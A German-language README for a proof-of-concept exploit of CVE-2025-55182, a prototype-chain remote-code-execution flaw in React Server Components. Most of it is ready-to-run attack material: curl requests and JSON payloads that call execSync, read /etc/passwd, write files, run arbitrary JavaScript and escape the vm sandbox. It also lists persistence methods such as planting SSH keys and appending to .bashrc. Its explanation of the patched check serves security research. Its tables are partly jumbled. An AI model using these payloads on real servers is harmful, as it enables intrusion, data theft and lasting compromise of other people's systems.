
Proof-of-Concept-Exploit für CVE-2025-55182, der Remote Code Execution durch eine Prototype-Chain-Schwachstelle in React Server Components demonstriert. Enthält mehrere RCE-Gadgets und Persistenzangriffe.
Dieser POC demonstriert CVE-2025-55182 unter Verwendung des tatsächlichen anfälligen Codes von [email protected].
# Abhängigkeiten installieren
npm install
# Anfälligen Server starten (Port 3002)
npm start
# RCE-Exploit ausführen
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direkter Aufruf von vm#runInThisContext mit Code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext mit require
RCE-Versuch: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Server
npm start # Hauptserver starten (server-realistic.js, Port 3002)
npm run start:legacy # Legacy-Server starten (server.js, Port 3002)
# Exploits
npm run exploit # RCE-Demo (nutzt vm, funktioniert mit allen: vm, child_process, fs)
npm run exploit:all # Alle Gadgets testen
npm run exploit:persistence # Persistenzangriffe (nur fs)
# Server zuerst starten
npm start
# fs-Lesen testen
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Befehlsausführung testen
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# vm-Codeausführung testen
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Prototypkettenzugriff testen
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Datei | Port | Beschreibung |
|---|---|---|
src/server-realistic.js | 3002 | Hauptserver – simuliert ein Webpack-Bundle mit gängigen Modulen (fs, vm, child_process) |
src/server.js | 3002 | Legacy-Server (verwendet direkten require) |
| Datei | Beschreibung |
|---|---|
exploit-rce-v4.js | Primäres RCE via vm#runInThisContext |
exploit-all-gadgets.js | Testet alle RCE-Gadgets (vm, child_process, fs) |
Simuliert ein echtes Webpack-Bundle, bei dem Apps gefährliche Module häufig über Abhängigkeiten einbinden:
// Gebündelte Module (was eingebunden wird, wenn gängige Pakete verwendet werden)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* Benutzer-Server-Aktionen */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
Die Funktion __webpack_require__ lädt Module nur aus BUNDLED_MODULES und simuliert so das tatsächliche Webpack-Verhalten.
In requireModule() wird auf Exporte per Klammernotation zugegriffen, ohne hasOwnProperty-Prüfung:
// ANFÄLLIG (React 19.0.0)
return moduleExports[metadata[2]]; // Greift auf die Prototypkette zu!
// GEPATCHT (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 mit gebundenen Aktionsmetadatenid: 'vm#runInThisContext' lädt das vm-Modul, greift auf den Export runInThisContext zubound-Array wird zu Argumenten der FunktionrunInThisContext(CODE) führt beliebigen Code ausShell-Befehl ausführen (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Sensible Dateien lesen:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
}
**Dateien auf die Festplatte schreiben:**
```javascript
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Beliebiges JavaScript ausführen:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Sandbox-Escape (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Für direktes RCE: Ja, man benötigt eines von:
vm-Modul (runInThisContext, runInNewContext)child_process-Modul (execSync, execFileSync, spawnSync)Für indirektes RCE (nur fs): Nein! Mit nur fs kann man:
~/.ssh/authorized_keys schreiben → SSH-Zugriff~/.bashrc anhängen → Codeausführung beim nächsten Loginnode_modules/* überschreiben → RCE beim nächsten App-Neustartpackage.json-Postinstall ändern → RCE beim nächsten npm install| Version | Angriff | Ergebnis |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE erreicht |
| React 19.2.1 | vm#runInThisContext | ✗ Blockiert |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Angriffe werden fehlschlagen
Siehe VULNERABLE-PACKAGES.md für Recherchen zu beliebten npm-Paketen, die gefährliche Module enthalten:
| Modul | Wöchentliche Downloads | Beliebte Pakete |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
exploit-persistence.js| Persistenzangriffe (SSH-Schlüssel, .bashrc) |
| Gadget | Status | Beschreibung |
|---|
vm#runInThisContext | ✓ | Führt beliebiges JS im aktuellen Kontext aus |
vm#runInNewContext | ✓ | Führt in „Sandbox“ aus (leicht zu umgehen) |
child_process#execSync | ✓ | Direkte Shell-Befehlsausführung |
child_process#execFileSync | ✓ | Führt Binärdateien aus |
child_process#spawnSync | ✓ | Startet Prozess (gibt Objekt zurück) |
fs#readFileSync | ✓ | Liest beliebige Dateien |
fs#writeFileSync | ✓ | Schreibt beliebige Dateien |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |